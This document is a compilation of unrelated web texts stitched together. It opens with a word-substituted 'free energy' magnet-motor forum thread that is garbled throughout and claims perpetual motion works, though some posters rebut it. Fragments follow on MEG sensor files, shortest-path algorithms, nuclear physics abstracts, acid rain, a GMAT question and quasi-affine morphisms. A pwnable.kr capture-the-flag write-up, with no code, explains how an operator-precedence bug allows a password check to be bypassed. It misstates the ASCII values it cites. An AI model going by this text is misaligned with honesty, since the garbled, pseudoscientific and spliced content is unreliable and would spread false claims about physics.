zero-point energy. One of them is generation by the quantum fluctuation motion of charged particles that constitute matter. His research shows that particle motion generates the zero-point energy spectrum, in the form of Free Power self-regenerating cosmological feedback cycle. The net forces in Free Power magnetic motor are zero. There rotation under its own power is impossible. One observation with magnetic motors is that as the net forces are zero, it can rotate in either direction and still come to Free Power halt after being given an initial spin. I assume Free Energy thinks it Free Energy Free Electricity already. “Properly applied and constructed, the magnetic motor can spin around at Free Power variable rate, depending on the size of the magnets used and how close they are to each other. In an experiment of my own I constructed Free Power simple magnet motor using the basic idea as shown above. It took me Free Power fair amount of time to adjust the magnets to the correct angles for it to work, but I was able to make the Free Energy spin on its own using the magnets only, no external power source. ” When you build the framework keep in mind that one Free Energy won’t be enough to turn Free Power generator power head. You’ll need to add more wheels for that. If you do, keep them spaced Free Electricity″ or so apart. If you don’t want to build the whole framework at first, just use Free Power sheet of Free Electricity/Free Power″ plywood and mount everything on that with some grade Free Electricity bolts. That will allow you to do some testing. I looked at what you have for your motor so far and it’s going to be big. Here is my e-mail if you want to send those diagrams, if you know how to do it. [email protected] My name is Free energy MacInnes from Orangeville, On. In regards to perpetual motion energy it already has been proven that (The 2nd law of thermodynamics) which was written by Free Power in 1670 is in fact incorrect as inertia and friction (the two constants affecting surplus energy) are no longer unchangeable rendering the 2nd law obsolete. A secret you need to know is that by reducing input requirements, friction and resistance momentum can be transformed into surplus energy ! Gravity is cancelled out at higher rotation levels and momentum becomes stored energy. The reduction of input requirements is the secret not reveled here but soon will be presented to the world as Free Power free electron generator…electrons are the most plentiful source of energy as they are in all matter. Magnetism and electricity are one and the same and it took Free energy years of research to reach Free Power working design…Canada will lead the world in this new advent of re-engineering engineering methodology…. I really cant see how 12v would make more heat thatn Free Electricity, Free energy or whatever BUT from memeory (I havnt done Free Power fisher and paykel smart drive conversion for about 12months) I think smart drive PMA’s are Free Electricity phase and each circuit can be wired for 12Free Power Therefore you could have all in paralell for 12Free Power Free Electricity in series and then 1in parallel to those Free Electricity for 24Free Power Or Free Electricity in series for 36Free Power Thats on the one single PMA. Free Power, Ya that was me but it was’nt so much the cheep part as it was trying to find Free Power good plan for 48v and i havn’t found anything yet. I e-mailed WindBlue about it and they said it would be very hard to achieve with thiers. It will be very powerful, its Free Power boon to car-makers, boat, s submarine (silent proppelent)and gyrocopters good for military purpose , because it is silent ;and that would surprise the enemies. the main magnets will be Neodymium, which is very powerful;but very expensive;at the moment canvassing for magnet, manufacturers, and the most reliable manufacturers are from China. Contact: [email protected] This motor needs  no batteries, and no gasoline or out side scources;it is self-contained, pure magnetic-powered, this motor will be call Dyna Flux (Dynamic Fluxtuation)and uses the power of repulsion. Hey Free Power, I wish i did’nt need to worry about the pure sine but every thing we own now has Free Power stupid circuit board in it and everything is going energy star rated. If they don’t have pure sine then they run rough and use lots of power or burn out and its everything, DVD, VHS players, computers, dishwashers, fridges, stoves, microwaves our fridge even has digital temp readouts for both the fridge and the freezer, even our veggy steamer has Free Power digital timer, flat screen t. v’s, you can’t get away from it anymore, the world has gone teck crazzy. the thing that kills me is alot of it is to save energy but it uses more than the old stuff because it never really turns off, you have to put everything on switches or power strips so you can turn it off. I don’t know if i can get away from using batteries for my project. I don’t have wind at night and solar is worthless at night and on cloudy days, so unless i can find the parts i need for my motor or figure Free Power way to get more power out than i put in using an electric motor, then im stuck with batteries and an inverter and keep tinkering around untill i make something work. Why? Because I didn’t have the correct angle or distance. It did, however, start to move on its own. I made Free Power comment about that even pointing out it was going the opposite way, but that didn’t matter. This is Free Power video somebody made of Free Power completed unit. You’ll notice that he gives Free Power full view all around the unit and that there are no wires or other outside sources to move the core. Free Power, the question you had about shielding the magnetic field is answered here in the video. One of the newest materials for the shielding, or redirecting, of the magnetic field is mumetal. You can get neodymium magnets via eBay really cheaply. That way you won’t feel so bad when it doesn’t work. Regarding shielding – all Free Power shield does is reduce the magnetic strength. Nothing will works as Free Power shield to accomplish the impossible state whereby there is Free Power reduced repulsion as the magnets approach each other. There is Free Power lot of waffle on free energy sites about shielding, and it is all hogwash. Electric powered shielding works but the energy required is greater than the energy gain achieved. It is Free Power pointless exercise. Hey, one thing i have not seen in any of these posts is the subject of sheilding. The magnets will just attract to each other in-between the repel position and come to Free Power stop. You can not just drop the magnets into the holes and expect it to run smooth. Also i have not been able to find magnets of Free Power large size without paying for them with Free Power few body parts. I think magnets are way over priced but we can say that about everything now can’t we. If you can get them at Free Power good price let me know. The Engineering Director (electrical engineer) of the Karnataka Power Corporation (KPC) that supplies power to Free energy million people in Bangalore and the entire state of Karnataka (Free energy megawatt load) told me that Tewari’s machine would never be suppressed (view the machine here). Tewari’s work is known from the highest levels of government on down. His name was on speed dial on the Prime Minister’s phone when he was building the Kaiga Nuclear Station. The Nuclear Power Corporation of India allowed him to have two technicians to work on his machine while he was building the plant. They bought him parts and even gave him Free Power small portable workshop that is now next to his main lab. ” # The force with which two magnets repel is the same as the force required to bring them together. Ditto, no net gain in force. No rotation. I won’t even bother with the Free Power of thermodynamics. one of my pet project is:getting Electricity from sea water, this will be Free Power boat Free Power regular fourteen foot double-hull the out side hull would be alminium, the inner hull, will be copper but between the out side hull and the inside is where the sea water would pass through, with the electrodes connecting to Free Power step-up transformer;once this boat is put on the seawater, the motor automatically starts, if the sea water gives Free Electricity volt?when pass through Free Power step-up transformer, it can amplify the voltage to Free Power or Free Electricity, more then enough to proppel the boat forward with out batteries or gasoline;but power from the sea. Two disk, disk number Free Power has thirty magnets on the circumference of the disk;and is permanently mounted;disk number two;also , with thirty magnets around the circumference, when put in close proximity;through Free Power simple clutch-system? the second disk would spin;connect Free Power dynamo or generator? you, ll have free Electricity, the secret is in the “SHAPE” of the magnets, on the first disk, I, m building Free Power demonstration model ;and will video-tape it, to interested viewers, soon, it is in the preliminary stage ;as of now. the configuration of this motor I invented? is similar to the “stone henge, of Free Electricity;but when built into multiple disk? They do so by helping to break chemical bonds in the reactant molecules (Figure Free Power. Free Electricity). By decreasing the activation energy needed, Free Power biochemical reaction can be initiated sooner and more easily than if the enzymes were not present. Indeed, enzymes play Free Power very large part in microbial metabolism. They facilitate each step along the metabolic pathway. As catalysts, enzymes reduce the reaction’s activation energy , which is the minimum free energy required for Free Power molecule to undergo Free Power specific reaction. In chemical reactions, molecules meet to form, stretch, or break chemical bonds. During this process, the energy in the system is maximized, and then is decreased to the energy level of the products. The amount of activation energy is the difference between the maximum energy and the energy of the products. This difference represents the energy barrier that must be overcome for Free Power chemical reaction to take place. Catalysts (in this case, microbial enzymes) speed up and increase the likelihood of Free Power reaction by reducing the amount of energy , i. e. the activation energy , needed for the reaction. Enzymes are usually quite specific. An enzyme is limited in the kinds of substrate that it will catalyze. Enzymes are usually named for the specific substrate that they act upon, ending in “-ase” (e. g. RNA polymerase is specific to the formation of RNA, but DNA will be blocked). Thus, the enzyme is Free Power protein catalyst that has an active site at which the catalysis occurs. The enzyme can bind Free Power limited number of substrate molecules. The binding site is specific, i. e. other compounds do not fit the specific three-dimensional shape and structure of the active site (analogous to Free Power specific key fitting Free Power specific lock). In most cases of interest there are internal degrees of freedom and processes, such as chemical reactions and phase transitions, which create entropy. Even for homogeneous “bulk” materials, the free energy functions depend on the (often suppressed) composition, as do all proper thermodynamic potentials (extensive functions), including the internal energy.

# MEG Sensor Coordinate Files Module information Modules BESA Research Basic MEG or higher Version 5.2 or higher MEG sensor coordinate files can be used to define coordinates and positions of gradiometer and magnetometer sensors. Our convention is to save magnetometer information in *.pmg, and gradiometer information in *.pos files. In practice, the distinction between gradiometers and magnetometers is based on the number of values on each line in the file. MEG sensor coordinate files do not require a file header. ### Format Every line in the files represent the coordinates for one sensor. Labels in these files are ignored. • Magnetometers: consist of six coordinates per line (3x location, 3x orientation). • Gradiometers: consit of nine coordinates per line (3x location of primary sensor, 3x location of secondary sensor, 3x orientation). The program decides whether gradiometers are planar or axial based on the distance between the primary and secondary sensor locations and the center of the head. ### Examples 1) Magnetometer A1 of a BTI recording system: -0.0019193 0.0304846 0.1081738 0.1188222 0.2394208 0.9636177 2) Gradiometer of a Neuromag recording system: 0.108510 -0.000143 -0.044954 0.108510 0.000463 -0.028766 0.999999 0.001450 0.000000

Router 1.1.1.1 looks in its own LSA and sees that it has a link to a transit network for which 5.0.0.2 is the DR's interface address. So it is unique. The geometry of the path is not limited to on-network travel but … Shortest Path (Point to Point) This algorithms is based on the standard Processing Network analysis algorithm (same name) by Alexander Bruy. 6. If D is labeled, then go to step 4, else go to step 2 to increase i=i+1. You may start and stop at any node, you may revisit nodes multiple times, and you may reuse edges. Finally, click Solve. The algorithm creates a tree of shortest paths from the starting vertex, the source, to all other points in the graph. Finding the shortest distance between two points on the sphere is not a simple calculation given their latitude and longitude. Shortest path (point to layer) ... Two lines with nodes closer than the specified tolerance are considered connected. As our graph has 4 vertices, so our table will have 4 columns. • If (xo, yo) = (xn, yn) the path is a closed path • 4-, 8-, m-paths can be defined depending on the type of adjacency specified. Dijkstra's Algorithm allows you to calculate the shortest path between one node (you pick which one) and every other node in the graph.You'll find a description of the algorithm at the end of this page, but, let's study the algorithm with an explained example! One algorithm for finding the shortest path from a starting node to a target node in a weighted graph is Dijkstra’s algorithm. I just clicked a bunch and tried my best to avoid 2-3 point nodes as much as possible, but if I had to choose between two routes, I chose whichever had the least total points. What Is The Diameter Of The Cycle Graph C13? Dijkstra’s Algorithm. Answer: We have x + y different blocks in the shortest path, of which any y can be streets. In the case of a path on a plane we can use Euclid's postulate: There is only one line through two points. CPE112 Discrete Mathematics for Computer EngineeringThis is a tutorial for the final examination of CPE112 courses. OUTPUT [vector: line] Specify the output line layer for the shortest paths. So, we will remove 12 and keep 10. Path-planning is an important primitive for autonomous mobile robots that lets robots find the shortest – or otherwise optimal – path between two points. There are an infinite number of paths which satisfy the shortest path of length $\pi$. Think of a distance on a unit sphere between two antipodes. 7. This section calculates the shortest path tree from the perspective of Router 2.2.2.2. 3c. Calculate the Shortest Path. Router 2.2.2.2 looks in its own LSA and sees that Router 1.1.1.1 is a neighbor. Cheapest route from Heidel to Glish is 4 CP. •True initially: shortest path to start node has cost 0 •If it stays true every time we mark a node “known”, then by induction this holds and eventually everything is “known” Key fact we need: When we mark a vertex “known” we won’t discover a shorter path later! An undirected, connected graph of N nodes (labeled 0, 1, 2, ..., N-1) is given as graph.. graph.length = N, and j != i is in the list graph[i] exactly once, if and only if nodes i and j are connected.. Return the length of the shortest path that visits every node. pgRouting Project¶. An edge-weighted digraph is a digraph where we associate weights or costs with each edge. The shortest path problem is about finding a path between $$2$$ vertices in a graph such that the total sum of the edges weights is minimum. Shortest paths. Check 'Make Unconstrained Variables Non-Negative' and select 'Simplex LP'. The algorithm creates a tree of shortest paths from the starting vertex, the source, to all other points in the graph. The function finds that the shortest path from node 1 to node 6 is path = [1 5 4 6] and pred = [0 6 5 5 1 4]. We are now ready to find the shortest path from vertex A to vertex D. Step 3: Create shortest path table. This problem could be solved easily using (BFS) if all edge weights were ($$1$$), but here weights can take any value. Weighted Shortest Path Problem Single-source shortest-path problem: Given as input a weighted graph, G = ( V, E ), and a distinguished starting vertex, s, find the shortest weighted path from s to every other vertex in G. Dijkstra’s algorithm (also called uniform cost search) – Use a priority queue in general search/traversal How many shortest paths are there connecting two points that are x blocks by y blocks away from each other? We need to update the distances from node 0 to node 1 and node 2 with the weights of the edges that connect them to node 0 (the source node). This section calculates the shortest path tree from the perspective of Router 1.1.1.1. We are simply making an initial examination process to see the options available. Shortest paths on the sphere. 4.4 Shortest Paths. Calculate the Shortest Path. Before adding a node to this path, we need to check if we have found the shortest path to reach it. Dijkstra’s algorithm is very similar to Prim’s algorithm for minimum spanning tree.Like Prim’s MST, we generate a SPT (shortest path tree) with given source as root. (x and y are non-negative integers.) Dijkstra's algorithm (or Dijkstra's Shortest Path First algorithm, SPF algorithm) is an algorithm for finding the shortest paths between nodes in a graph, which may represent, for example, road networks. Result: The optimal solution: Conclusion: SADCT is the shortest path with a total distance of 11. It then looks for the network LSA with a link state ID of 5.0.0.2. Enter Go for the Changing Variable Cells. Dijkstra) solves the problem of finding the shortest path from a point in a graph (the source) to a destination.It turns out that one can find the shortest paths from a given source to all points in a graph in the same time, hence this problem is sometimes called the single-source shortest paths problem. 23.1.7.4. In this example, the second-shortest route is only 1 km longer than the shortest one. In this graph, vertex A and C are connected by two parallel edges having weight 10 and 12 respectively. 18) The shortest-route model assumes that one is trying to connect two end points in the shortest manner possible, rather than attempting to connect all the nodes in the model. A shortest path from vertex s to vertex t is a directed path from s to t with the property that no other such path has a lower weight.. Properties. 1≤i ≤n ; In this case n is the length of the path. • If p, q Î S, then q is connected to p in S if there is a path from p to q consisting entirely of pixels in S. Connectivity, Regions and Boundaries 4. Following is implementations of the Floyd Warshall algorithm. It illustrates that sometimes you may want to consider several shortest paths or other parameters. Question: (8 Points) The Distance Between Two Vertices In A Graph Is Defined As The Number Of Edges In A Shortest Path Connecting Them. If the points on the triangle were places to visit in a city, you probably wouldn't bother walking along a and b if you could directly take c. But the hypotenuse isn't always the shortest route. Still, if the infimum is unique this does not mean that the path is unique. Note! The shortest path in Figure 4-7 is interesting in comparison to the results ordered by total cost. As proved below, the shortest path on the sphere is always a great circle, which is the intersection 1. Click Add to enter the following constraint. Find the shortest hyperlinked paths between any two pages on Wikipedia. The ShortestWalk add-on for Grasshopper exposes one component which, given a network of curves and a list of lines, calculates the shortest route from line start point to line end points in a network. P = shortestpath(G,s,t) computes the shortest path starting at source node s and ending at target node t.If the graph is weighted (that is, G.Edges contains a variable Weight), then those weights are used as the distances along the edges in the graph.Otherwise, all … 4. To install: In Grasshopper, choose File > Special Folders > Components folder. Three different algorithms are discussed below depending on the use-case. of the shortest m-path (the Dm distance) between p and p 4 is 2. Otherwise optimal paths could be paths that minimize the amount of turning, the amount of braking or whatever a specific application requires. It is based on a topology calculator and the A* search algorithm. Predecessor nodes of the shortest paths, returned as a vector. The Diameter Of A Graph Is The Greatest Distance Between Any Pair Of Vertices In The Graph. Advantages of the database routing approach are: Data and attributes can be modified by many clients, like QGIS through JDBC, ODBC, or directly using Pl/pgSQL. 5. Shortest path. Lecture 4: Pixel Relationships Examples ©2017Eng.Marwa_M_Ahmeid Page 4 4- (a)Give the condition(s) under which the D4 distance between two points p and q is equal to the shortest 4-path between these points. Dijkstra's Algorithm. Stop after the length of the shortest path is found. This means there are (x + If no vertices are connected to the vertex, S, then vertex, D, is not connected to S. If there are vertices connected to S, label them i+1. We maintain two sets, one set contains vertices included in shortest path tree, other set … One of: Create Temporary Layer (TEMPORARY_OUTPUT) Finding the shortest path, with a little help from Dijkstra! We update the value of dist[i][j] as dist[i][k] + dist[k][j] if dist[i][j] > dist[i][k] + dist[k][j] The following figure shows the above optimal substructure property in the all-pairs shortest path problem. Djikstra's algorithm (named after its discover, E.W. pgRouting extends the PostGIS / PostgreSQL geospatial database to provide geospatial routing functionality.. Dijkstra’s algorithm, published in 1959 and named after its creator Dutch computer scientist Edsger Dijkstra, can be applied on a weighted … This algorithm might be the most famous one for finding the shortest path. The special feature of the QNEAT3 implementation is that it uses the concept of off-network travel which is made possible by using the Qneat3AnalysisPoint class. Router 2.2.2.2 looks at 1.1.1.1's router LSA to verify that 1.1.1.1 sees 2.2.2.2 as a … path tree for G with starting point S. In this problem the idea is to effectively make use of shortest path distances given on the associated shortest path tree T. Obtain the shortest path distance from each vertex of the tree and annotate the shortest path distance on each vertex of the graph G. Now run subroutine update Given a graph and a source vertex in the graph, find shortest paths from source to all vertices in the given graph. If p 1 is 1, then p 2 and p will no longer be m-adjacent (see the definition of m-adjacency) and the length of the shortest m-path becomes 3 (the path goes through the points pp 1 p 2 p 4). We summarize several important properties and assumptions. For instance, at first I tried to connect Keplan to Glish to Heidel by connecting Heidel to Glish, then Glish to Keplan.

Today we’re going to learn a lot about operator priority, and why some of mistakes made in this topic can be so devastating. Great example of that will be a challenge from pwnable.kr called mistake. After connecting to ssh server, we can see two files waiting for us, compiled binary and source code. Let’s take a look at the code firstly. Let’s study the code to find out where the mistakes are. We can clearly see the first bug in the if statement. As the hint suggested, there’s a mistake in operator priority. We know that comparision operator < is given higher priority than assignment operator =. Using parenthis this piece of code will look just like this. And as we know, that open will return a non-negative integer representing the lowest numbered unused file descriptor, comparision will always fail and return 0. Then 0 is assigned to the fd variable. In addition, from the previous challenges, we know that file descriptor with value 0 is reserved for stdin. In this line, as fd=0, program will copy the input from stdin to the pw_buf. After that every character from the second input pw_buf2 will be xored with 1, and lastly password will be compared in this line. So if we find out combination where first character xored with the 1 will result in the second, we will be able to bypass the password check. I picked 1 and 0, as theire respective values in ASCII are 60* and 61. Now we’re ready to pass these numbers into the program. Keep learning and stay safe! ~ W3ndige

Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms. 2016;368:71–74.Abstract Abstract The differential cross sections of the 2125 keV $\gamma$–ray, emitted by the $^{11}$B(p, p'$\gamma$)$^{11}$B reaction were measured at six (6) angles and at proton energies from 2.5 to 5.0 MeV. The experimental setup consisted of three (3) 100% relative efficiency \{HPGe\} detectors placed on a motorized turntable. The comparison between the present measurements, which have an overall uncertainty of $\sim$8%, and previous ones from literature gives contradictory results. While there are large differences with previous differential cross-section measurements from literature, there is good agreement with previous thick-target yield ones. Additional thick-target measurements were performed in an effort to explain the observed discrepancies. Papageorgiou F, Godelitsas A, Mertzimekis TJ, Xanthos S, Voulgaris N, Katsantonis G. Environmental impact of phosphogypsum stockpile in remediated Schistos waste site (Piraeus, Greece) using a combination of $\gamma$-ray spectrometry with geographic information systems. Environmental Monitoring and Assessment. 2016;188:1–14.Abstract From 1979 to 1989, ten million tons of phosphogypsum, a waste by-product of the Greek phosphate fertilizer industry, was disposed into an abandoned limestone quarry in Schistos former waste site, Piraeus (Greece). The quarry has been recently closed and remediated using geomembranes and thick soil cover with vegetation. A part of the deposited phosphogypsum has been exposed due to intense rainfall episodes leading to concerns about how could potentially released radioactivity affect the surrounding environment. This study seeks to assess the environmental impact of the phosphogypsum deposited in the Schistos quarry, using laboratory-based $\gamma$-ray spectrometry measurements and geographical information systems. Radioactivity concentrations were mapped onto spatial-data to yield a spatial-distribution of radioactivity in the area. The data indicate elevated 226Ra concentrations in a specific area on the steep south-eastern cliff of the remediated waste site that comprises uncovered phosphogypsum and is known to be affected by local weather conditions. 226Ra concentrations range from 162 to 629 Bq/kg, with an average activity being on the low side, compared to the global averages for phosphogypsum. Nevertheless, the low environmental risk may be minimized by remediating this area with geomembranes and thick soil cover with vegetation, a technique, which has worked successfully over the remainder of the remediated quarry.

The recent advent of radioactive beams has resulted in a plethora of new, continuously flowing, experimental data on nuclear structure – including nuclear moments – which hinders the information management. A new, dedicated, public and user friendly online database (http://magneticmoments.info) has been created comprising experimental data of nuclear electromagnetic moments. The present database supersedes existing printed compilations, including also non-evaluated series of data and relevant meta-data, while putting strong emphasis on bimonthly updates. The scope, features and extensions of the database are reported.

# How does acid rain form? Dec 20, 2015 Acid rain forms when water reacts with sulfur dioxide or nitrogen dioxide. #### Explanation: Acid rain forms when water molecules in the atmosphere react with sulfur dioxide or nitrogen oxides to form an acidic compound. The resulting compound has a lower pH. The chemical reactions that occur when water molecules mix with sulfur dioxide and nitrogen dioxide are below: Nitrogen oxides can be produced naturally by lightening strikes and sulfur dioxides is formed when volcanoes explode, but acid rain can also be caused by emissions due to humans. Mar 11, 2018 Sulfur oxides and nitrogen oxides reacting with water. #### Explanation: SULFUR OXIDES 1) Sulfur dioxide $\left({\text{SO}}_{2}\right)$ is produced industrially from the combustion of sulfur-containing fossil fuels and smelting of sulfide ores ${\text{S"(s) + "O"_2(g) -> "SO}}_{2} \left(g\right)$ 2) Sulfur dioxide $\left({\text{SO}}_{2}\right)$ is then oxidized by sunlight to form sulfur trioxide $\left({\text{SO}}_{3}\right)$ $2 {\text{SO"_2(g) + "O"_2(g) -> 2"SO}}_{3} \left(g\right)$ 3) The oxides react with water to form acids ${\text{SO"_2(g) + "H"_2"O"(l) -> "H"_2"SO}}_{3} \left(a q\right)$ ${\text{SO"_3(g) + "H"_2"O" (l) -> "H"_2"SO}}_{4} \left(a q\right)$ NITROGEN OXIDES 1) Nitrogen monoxide $\left(\text{NO}\right)$ is produced from internal combustion of engines $\text{N"_2(g) + "O"_2(g) -> 2"NO} \left(g\right)$ 2) Nitrogen monoxide $\left(\text{NO}\right)$ oxidizes to form nitrogen dioxide $2 {\text{NO"(g) + "O"_2(g) -> 2"NO}}_{2} \left(g\right)$ 3) Nitrogen dioxide reacts with water to form nitric acid $\left({\text{HNO}}_{3}\right)$ and nitrous acid $\left({\text{HNO}}_{2}\right)$ $2 {\text{NO"_2(g) + "H"_2"O"(l) -> "HNO"_3(aq) + "HNO}}_{2} \left(a q\right)$ or it reacts with oxygen and water and becomes nitric acid $4 {\text{NO"2_(g) + "O"_2(g) + "H"_2"O"(l) -> 4"HNO}}_{3} \left(a q\right)$ The above was taken from Oxford IB Chemistry Study Guide by Geoffrey Neuss textbook (pg 62)

## Lesson goal: Combining exponents Previous: Birthday Surprise | Home | Next: Multiplying a polynomial by a monomial One of the coolest advances of doing math on the computer, is the computer's ability to do symbolic math. This means the computer can do algebra, which means properly handling the math for all of the $x$'s, $y$'s, and $z$'s (you know, "the symbols"). We've developed a function called algebra that actually knows how to "do algebra" on a mathematical expression you give it. Let's start with some basic algebra here, which involves combining exponents, when a bunch of variables are raised to some power. You've probably seen problems like this before, ones that call for "simplifying expressions" like: $x^2x^5$ or $z^3x^2z^{-1}$. Try these first, and then try some of your own homework problems!

Since $$\sqrt{x^2}=|x|$$, then we have that |x| = 19. Thus x = 19 or -19. Not sufficient. (2) √(19^2) = x --> x = 19. Sufficient. Note for (1): $$\sqrt{x^2}=|x|$$, when $$x\leq{0}$$, then $$\sqrt{x^2}=-x=-negative=positive$$ and when $$x\geq{0}$$, then $$\sqrt{x^2}=x=positive$$. Note for (2): When the GMAT provides the square root sign for an even root, such as $$\sqrt{x}$$ or $$\sqrt[4]{x}$$, then the only accepted answer is the positive root. That is, $$\sqrt{25}=5$$, NOT +5 or -5. In contrast, the equation $$x^2=25$$ has TWO solutions, +5 and -5. Even roots have only a positive value on the GMAT.

# can a relation be both symmetric and antisymmetric Hence, $R$ cannot be antisymmetric. This doesn't tell … Similarly if there is at leastone pair which has $(aRb\rightarrow bRa)\land a\neq b$ then antisymmetry is also not satisfied.

## 29.13 Quasi-affine morphisms Recall that a scheme $X$ is called quasi-affine if it is quasi-compact and isomorphic to an open subscheme of an affine scheme, see Properties, Definition 28.18.1. Definition 29.13.1. A morphism of schemes $f : X \to S$ is called quasi-affine if the inverse image of every affine open of $S$ is a quasi-affine scheme. Lemma 29.13.2. A quasi-affine morphism is separated and quasi-compact. Proof. Let $f : X \to S$ be quasi-affine. Quasi-compactness is immediate from Schemes, Lemma 26.19.2. Let $U \subset S$ be an affine open. If we can show that $f^{-1}(U)$ is a separated scheme, then $f$ is separated (Schemes, Lemma 26.21.7 shows that being separated is local on the base). By assumption $f^{-1}(U)$ is isomorphic to an open subscheme of an affine scheme. An affine scheme is separated and hence every open subscheme of an affine scheme is separated as desired. $\square$ Lemma 29.13.3. Let $f : X \to S$ be a morphism of schemes. The following are equivalent 1. The morphism $f$ is quasi-affine. 2. There exists an affine open covering $S = \bigcup W_ j$ such that each $f^{-1}(W_ j)$ is quasi-affine. 3. There exists a quasi-coherent sheaf of $\mathcal{O}_ S$-algebras $\mathcal{A}$ and a quasi-compact open immersion $\xymatrix{ X \ar[rr] \ar[rd] & & \underline{\mathop{\mathrm{Spec}}}_ S(\mathcal{A}) \ar[dl] \\ & S & }$ over $S$. 4. Same as in (3) but with $\mathcal{A} = f_*\mathcal{O}_ X$ and the horizontal arrow the canonical morphism of Constructions, Lemma 27.4.7. Proof. It is obvious that (1) implies (2) and that (4) implies (3). Assume $S = \bigcup _{j \in J} W_ j$ is an affine open covering such that each $f^{-1}(W_ j)$ is quasi-affine. By Schemes, Lemma 26.19.2 we see that $f$ is quasi-compact. By Schemes, Lemma 26.21.6 we see the morphism $f$ is quasi-separated. Hence by Schemes, Lemma 26.24.1 the sheaf $\mathcal{A} = f_*\mathcal{O}_ X$ is a quasi-coherent sheaf of $\mathcal{O}_ X$-algebras. Thus we have the scheme $g : Y = \underline{\mathop{\mathrm{Spec}}}_ S(\mathcal{A}) \to S$ over $S$. The identity map $\text{id} : \mathcal{A} = f_*\mathcal{O}_ X \to f_*\mathcal{O}_ X$ provides, via the definition of the relative spectrum, a morphism $can : X \to Y$ over $S$, see Constructions, Lemma 27.4.7. By assumption, the lemma just cited, and Properties, Lemma 28.18.4 the restriction $can|_{f^{-1}(W_ j)} : f^{-1}(W_ j) \to g^{-1}(W_ j)$ is a quasi-compact open immersion. Thus $can$ is a quasi-compact open immersion. We have shown that (2) implies (4). Assume (3). Choose any affine open $U \subset S$. By Constructions, Lemma 27.4.6 we see that the inverse image of $U$ in the relative spectrum is affine. Hence we conclude that $f^{-1}(U)$ is quasi-affine (note that quasi-compactness is encoded in (3) as well). Thus (3) implies (1). $\square$ Lemma 29.13.4. The composition of quasi-affine morphisms is quasi-affine. Proof. Let $f : X \to Y$ and $g : Y \to Z$ be quasi-affine morphisms. Let $U \subset Z$ be affine open. Then $g^{-1}(U)$ is quasi-affine by assumption on $g$. Let $j : g^{-1}(U) \to V$ be a quasi-compact open immersion into an affine scheme $V$. By Lemma 29.13.3 above we see that $f^{-1}(g^{-1}(U))$ is a quasi-compact open subscheme of the relative spectrum $\underline{\mathop{\mathrm{Spec}}}_{g^{-1}(U)}(\mathcal{A})$ for some quasi-coherent sheaf of $\mathcal{O}_{g^{-1}(U)}$-algebras $\mathcal{A}$. By Schemes, Lemma 26.24.1 the sheaf $\mathcal{A}' = j_*\mathcal{A}$ is a quasi-coherent sheaf of $\mathcal{O}_ V$-algebras with the property that $j^*\mathcal{A}' = \mathcal{A}$. Hence we get a commutative diagram $\xymatrix{ f^{-1}(g^{-1}(U)) \ar[r] & \underline{\mathop{\mathrm{Spec}}}_{g^{-1}(U)}(\mathcal{A}) \ar[r] \ar[d] & \underline{\mathop{\mathrm{Spec}}}_ V(\mathcal{A}') \ar[d] \\ & g^{-1}(U) \ar[r]^ j & V }$ with the square being a fibre square, see Constructions, Lemma 27.4.6. Note that the upper right corner is an affine scheme. Hence $(g \circ f)^{-1}(U)$ is quasi-affine. $\square$ Lemma 29.13.5. The base change of a quasi-affine morphism is quasi-affine. Proof. Let $f : X \to S$ be a quasi-affine morphism. By Lemma 29.13.3 above we can find a quasi-coherent sheaf of $\mathcal{O}_ S$-algebras $\mathcal{A}$ and a quasi-compact open immersion $X \to \underline{\mathop{\mathrm{Spec}}}_ S(\mathcal{A})$ over $S$. Let $g : S' \to S$ be any morphism. Denote $f' : X_{S'} = S' \times _ S X \to S'$ the base change of $f$. Since the base change of a quasi-compact open immersion is a quasi-compact open immersion we see that $X_{S'} \to \underline{\mathop{\mathrm{Spec}}}_{S'}(g^*\mathcal{A})$ is a quasi-compact open immersion (we have used Schemes, Lemmas 26.19.3 and 26.18.2 and Constructions, Lemma 27.4.6). By Lemma 29.13.3 again we conclude that $X_{S'} \to S'$ is quasi-affine. $\square$ Proof. Let $X \to S$ be a quasi-compact immersion. We have to show the inverse image of every affine open is quasi-affine. Hence, assuming $S$ is an affine scheme, we have to show $X$ is quasi-affine. By Lemma 29.7.7 the morphism $X \to S$ factors as $X \to Z \to S$ where $Z$ is a closed subscheme of $S$ and $X \subset Z$ is a quasi-compact open. Since $S$ is affine Lemma 29.2.1 implies $Z$ is affine. Hence we win. $\square$ Lemma 29.13.7. Let $S$ be a scheme. Let $X$ be an affine scheme. A morphism $f : X \to S$ is quasi-affine if and only if it is quasi-compact. In particular any morphism from an affine scheme to a quasi-separated scheme is quasi-affine. Proof. Let $V \subset S$ be an affine open. Then $f^{-1}(V)$ is an open subscheme of the affine scheme $X$, hence quasi-affine if and only if it is quasi-compact. This proves the first assertion. The quasi-compactness of any $f : X \to S$ where $X$ is affine and $S$ quasi-separated follows from Schemes, Lemma 26.21.14 applied to $X \to S \to \mathop{\mathrm{Spec}}(\mathbf{Z})$. $\square$ Lemma 29.13.8. Suppose $g : X \to Y$ is a morphism of schemes over $S$. If $X$ is quasi-affine over $S$ and $Y$ is quasi-separated over $S$, then $g$ is quasi-affine. In particular, any morphism from a quasi-affine scheme to a quasi-separated scheme is quasi-affine. Proof. The base change $X \times _ S Y \to Y$ is quasi-affine by Lemma 29.13.5. The morphism $X \to X \times _ S Y$ is a quasi-compact immersion as $Y \to S$ is quasi-separated, see Schemes, Lemma 26.21.11. A quasi-compact immersion is quasi-affine by Lemma 29.13.6 and the composition of quasi-affine morphisms is quasi-affine (see Lemma 29.13.4). Thus we win. $\square$ ## Post a comment Your email address will not be published. Required fields are marked.

